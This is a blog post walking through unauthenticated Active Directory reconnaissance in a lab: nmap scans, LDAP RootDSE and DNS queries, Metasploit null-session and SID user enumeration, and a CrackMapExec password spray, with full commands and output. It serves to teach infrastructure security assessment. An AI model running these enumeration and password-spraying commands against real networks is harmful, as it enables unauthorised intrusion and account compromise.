So it's been a long time since I've blogged anything but I've finally ported my blog from Octopress and am now in a better position to update it.
For a while now I've been focusing on learning as much as possible about perfomring infrastructure security assessments and particularly Active Directory (AD), so it makes sense to start creating some blog posts regarding that.
AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it's complexity and partly due to backwards compatibility, it's very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it's a high value target to attack.
In this post, I'll demonstrate some basic reconnaissence that might be possible from a completely unauthenticated position on the infrastructure.
Lab Configuration
The lab configuration is simple, as shown below:
The main thing here is that the IP address of the domain controller is 192.168.73.20.
Basic Scanning
The first step would be to perform a port scan of the target system. Nmap is a common choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than simple port scanning.
A basic port scan using Nmap of the top 1000 TCP ports is shown:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 | Lab:~# nmap -sT -Pn -n --open 192.168.73.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:35 GMT
Nmap scan report for 192.168.73.20
Host is up (0.00040s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds
|
As shoiwn above, a bunch of ports are open on the target domain controller, these can be further probed using the -sV
option:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 | Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:38 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-12 23:38:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ICHILD1)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/12%Time=5E448C70%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: IC1DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.72 seconds
|
This is known as a service scan and attempts to probe the listening service and return a reliable software name and version.
Some Basic Enumeration
LDAP Enumeration
As we can see Lightweight Directory Access Protocol (LDAP) is listening on a number of ports. That is an indication that this system is a domain controller.
The LDAP specification states that the server must provide some information about the {RootDSE](https://ldapwiki.com/wiki/RootDSE){:target="_blank"} even without authentication. This allows us to gather some basic information about the domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104 | Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:59 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0012s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| currentTime: 20200212235943.0Z
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
| dsServiceName: CN=NTDS Settings,CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
| namingContexts: CN=Configuration,DC=internal,DC=zeroday,DC=lab
| namingContexts: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
| namingContexts: DC=ForestDnsZones,DC=internal,DC=zeroday,DC=lab
| namingContexts: DC=child1,DC=internal,DC=zeroday,DC=lab
| namingContexts: DC=DomainDnsZones,DC=child1,DC=internal,DC=zeroday,DC=lab
| defaultNamingContext: DC=child1,DC=internal,DC=zeroday,DC=lab
| schemaNamingContext: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
| configurationNamingContext: CN=Configuration,DC=internal,DC=zeroday,DC=lab
| rootDomainNamingContext: DC=internal,DC=zeroday,DC=lab
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.840.113556.1.4.801
| supportedControl: 1.2.840.113556.1.4.473
| supportedControl: 1.2.840.113556.1.4.528
| supportedControl: 1.2.840.113556.1.4.417
| supportedControl: 1.2.840.113556.1.4.619
| supportedControl: 1.2.840.113556.1.4.841
| supportedControl: 1.2.840.113556.1.4.529
| supportedControl: 1.2.840.113556.1.4.805
| supportedControl: 1.2.840.113556.1.4.521
| supportedControl: 1.2.840.113556.1.4.970
| supportedControl: 1.2.840.113556.1.4.1338
| supportedControl: 1.2.840.113556.1.4.474
| supportedControl: 1.2.840.113556.1.4.1339
| supportedControl: 1.2.840.113556.1.4.1340
| supportedControl: 1.2.840.113556.1.4.1413
| supportedControl: 2.16.840.1.113730.3.4.9
| supportedControl: 2.16.840.1.113730.3.4.10
| supportedControl: 1.2.840.113556.1.4.1504
| supportedControl: 1.2.840.113556.1.4.1852
| supportedControl: 1.2.840.113556.1.4.802
| supportedControl: 1.2.840.113556.1.4.1907
| supportedControl: 1.2.840.113556.1.4.1948
| supportedControl: 1.2.840.113556.1.4.1974
| supportedControl: 1.2.840.113556.1.4.1341
| supportedControl: 1.2.840.113556.1.4.2026
| supportedControl: 1.2.840.113556.1.4.2064
| supportedControl: 1.2.840.113556.1.4.2065
| supportedControl: 1.2.840.113556.1.4.2066
| supportedControl: 1.2.840.113556.1.4.2090
| supportedControl: 1.2.840.113556.1.4.2205
| supportedControl: 1.2.840.113556.1.4.2204
| supportedControl: 1.2.840.113556.1.4.2206
| supportedControl: 1.2.840.113556.1.4.2211
| supportedControl: 1.2.840.113556.1.4.2239
| supportedControl: 1.2.840.113556.1.4.2255
| supportedControl: 1.2.840.113556.1.4.2256
| supportedControl: 1.2.840.113556.1.4.2309
| supportedLDAPVersion: 3
| supportedLDAPVersion: 2
| supportedLDAPPolicies: MaxPoolThreads
| supportedLDAPPolicies: MaxPercentDirSyncRequests
| supportedLDAPPolicies: MaxDatagramRecv
| supportedLDAPPolicies: MaxReceiveBuffer
| supportedLDAPPolicies: InitRecvTimeout
| supportedLDAPPolicies: MaxConnections
| supportedLDAPPolicies: MaxConnIdleTime
| supportedLDAPPolicies: MaxPageSize
| supportedLDAPPolicies: MaxBatchReturnMessages
| supportedLDAPPolicies: MaxQueryDuration
| supportedLDAPPolicies: MaxDirSyncDuration
| supportedLDAPPolicies: MaxTempTableSize
| supportedLDAPPolicies: MaxResultSetSize
| supportedLDAPPolicies: MinResultSets
| supportedLDAPPolicies: MaxResultSetsPerConn
| supportedLDAPPolicies: MaxNotificationPerConn
| supportedLDAPPolicies: MaxValRange
| supportedLDAPPolicies: MaxValRangeTransitive
| supportedLDAPPolicies: ThreadMemoryLimit
| supportedLDAPPolicies: SystemMemoryLimitPercent
| highestCommittedUSN: 172440
| supportedSASLMechanisms: GSSAPI
| supportedSASLMechanisms: GSS-SPNEGO
| supportedSASLMechanisms: EXTERNAL
| supportedSASLMechanisms: DIGEST-MD5
| dnsHostName: IC1DC1.child1.internal.zeroday.lab
| ldapServiceName: internal.zeroday.lab:[email protected]
| serverName: CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
| supportedCapabilities: 1.2.840.113556.1.4.800
| supportedCapabilities: 1.2.840.113556.1.4.1670
| supportedCapabilities: 1.2.840.113556.1.4.1791
| supportedCapabilities: 1.2.840.113556.1.4.1935
| supportedCapabilities: 1.2.840.113556.1.4.2080
| supportedCapabilities: 1.2.840.113556.1.4.2237
| isSynchronized: TRUE
| isGlobalCatalogReady: TRUE
| domainFunctionality: 7
| forestFunctionality: 7
|_ domainControllerFunctionality: 7
Service Info: Host: IC1DC1; OS: Windows
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
|
The ldap-rootdse
Nmap script shows us that this domain controller belongs to a child domain (child1.internal.zeroday.lab), shown in the defaultNamingContext attribute, and the root domain is internal.zeroday.lab, shown in the rootDomainNamingContext attribute.
DNS Enumeration
Along with LDAP, the port scan showed that this system was listening on UDP port 53, this is almost certainly Domain Name System (DNS). DNS can be queried to determine the domain controllers for a particular domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 | Lab:~# dig srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
; <<>> DiG 9.11.14-3-Debian <<>> srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28760
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. IN SRV
;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. 600 IN SRV 0 100 389 IC1DC1.child1.internal.zeroday.lab.
;; ADDITIONAL SECTION:
IC1DC1.child1.internal.zeroday.lab. 3600 IN A 192.168.73.20
;; Query time: 1 msec
;; SERVER: 192.168.73.20#53(192.168.73.20)
;; WHEN: Thu Feb 13 00:15:34 GMT 2020
;; MSG SIZE rcvd: 147
|
It can also be used to query the root domain's domain controllers:
| Lab:~# dig +short srv _ldap._tcp.dc._msdcs.internal.zeroday.lab @192.168.73.20
0 100 389 IDC1.internal.zeroday.lab.
Lab:~# dig +short a IDC1.internal.zeroday.lab @192.168.73.20
192.168.71.20
|
SMB Enumeration
Server Message Block (SMB) can be really useful for attackers, there are many possible attacks against the service. Here I'll only perform some very basic enumeration.
First it's useful to know whether NULL authentication is permitted. A Metasploit module can be used to test for this:
| msf5 auxiliary(scanner/smb/pipe_auditor) > run
[+] 192.168.73.20:445 - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \InitShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.73.20: - Scanned 1 of 1 hosts (100% complete)
|
So we can access SMB pipes without requiring a username and password. While this isn't that common these days on domain controllers, I have seen this on some corporate networks.
We should also try enumerating users. Another Metasploit module can be used for this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 | msf5 auxiliary(scanner/smb/smb_lookupsid) > run
[*] 192.168.73.20:445 - PIPE(LSARPC) LOCAL(ICHILD1 - 5-21-3578234567-448745970-1525302398) DOMAIN(ICHILD1 - 5-21-3578234567-448745970-1525302398)
[*] 192.168.73.20:445 - USER=Administrator RID=500
[*] 192.168.73.20:445 - USER=Guest RID=501
[*] 192.168.73.20:445 - USER=krbtgt RID=502
[*] 192.168.73.20:445 - USER=DefaultAccount RID=503
[*] 192.168.73.20:445 - GROUP=Domain Admins RID=512
[*] 192.168.73.20:445 - GROUP=Domain Users RID=513
[*] 192.168.73.20:445 - GROUP=Domain Guests RID=514
[*] 192.168.73.20:445 - GROUP=Domain Computers RID=515
[*] 192.168.73.20:445 - GROUP=Domain Controllers RID=516
[*] 192.168.73.20:445 - TYPE=4 NAME=Cert Publishers rid=517
[*] 192.168.73.20:445 - GROUP=Group Policy Creator Owners RID=520
[*] 192.168.73.20:445 - GROUP=Read-only Domain Controllers RID=521
[*] 192.168.73.20:445 - GROUP=Cloneable Domain Controllers RID=522
[*] 192.168.73.20:445 - GROUP=Protected Users RID=525
[*] 192.168.73.20:445 - GROUP=Key Admins RID=526
[*] 192.168.73.20:445 - TYPE=4 NAME=RAS and IAS Servers rid=553
[*] 192.168.73.20:445 - TYPE=4 NAME=Allowed RODC Password Replication Group rid=571
[*] 192.168.73.20:445 - TYPE=4 NAME=Denied RODC Password Replication Group rid=572
[*] 192.168.73.20:445 - USER=IC1DC1$ RID=1000
[*] 192.168.73.20:445 - TYPE=4 NAME=DnsAdmins rid=1101
[*] 192.168.73.20:445 - GROUP=DnsUpdateProxy RID=1102
[*] 192.168.73.20:445 - USER=INTERNAL$ RID=1103
[*] 192.168.73.20:445 - USER=child.user RID=1104
[*] 192.168.73.20:445 - USER=child.admin RID=1105
[*] 192.168.73.20:445 - USER=client1testspn$ RID=1106
[*] 192.168.73.20:445 - USER=child.local RID=1107
[*] 192.168.73.20:445 - USER=ChildTestSPN$ RID=1109
[*] 192.168.73.20:445 - USER=WIN10TEST$ RID=1110
[*] 192.168.73.20:445 - ICHILD1 [Administrator, Guest, krbtgt, DefaultAccount, IC1DC1$, INTERNAL$, child.user, child.admin, client1testspn$, child.local, ChildTestSPN$, WIN10TEST$ ]
[*] 192.168.73.20: - Scanned 1 of 1 hosts (100% complete)
|
Password Spraying
Now that we have a list of valid usernames, it's worth trying to guess a valid password. Password spraying is a method of attack where you take a list of valid, or potentially valid, usernames and attempt to try different commonly used passwords across all usernames.
The lab environment is small but in a real world AD infrastructure it's very likely to be able to guess passwords for some accounts. Of course on a real infrastrcture extreme care has to be taken before attempting to perform password spraying attacks as there is a real possibilty of locking user accounts.
To perform a password spray CrackMapExec can be used:
| Lab:~# cme smb 192.168.73.20 -d child1.internal.zeroday.lab -u users.txt -p Password4
SMB 192.168.73.20 445 IC1DC1 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:IC1DC1) (domain:child1.internal.zeroday.lab) (signing:True) (SMBv1:True)
SMB 192.168.73.20 445 IC1DC1 [-] child1.internal.zeroday.lab\Administrator:Password4 STATUS_LOGON_FAILURE
SMB 192.168.73.20 445 IC1DC1 [-] child1.internal.zeroday.lab\IC1DC1$:Password4 STATUS_LOGON_FAILURE
SMB 192.168.73.20 445 IC1DC1 [-] child1.internal.zeroday.lab\INTERNAL$:Password4 STATUS_LOGON_FAILURE
SMB 192.168.73.20 445 IC1DC1 [+] child1.internal.zeroday.lab\child.user:Password4
|
The password for the child.user account was discovered in this password spray attempt. Now recon from an authenticated point of view is possible on this domain.
Conclusion
AD security is a huge topic and I've only began the scrath the surface in this post, even from an unauthenticated point of view. Hopefully this was a half decent way to introduce the topic though.
It's worth noting that there are many toold that perform the same tests carried out in this post, but some of them did not work. I might make a post demonstrating that because it's important to understand that different tools will work in different situations, so it's very useful to have knowledge of many and try others when your first choice fails.
Further Reading
If you are serious about AD security, the best resource out there is adscurity.org by Sean Metcalf.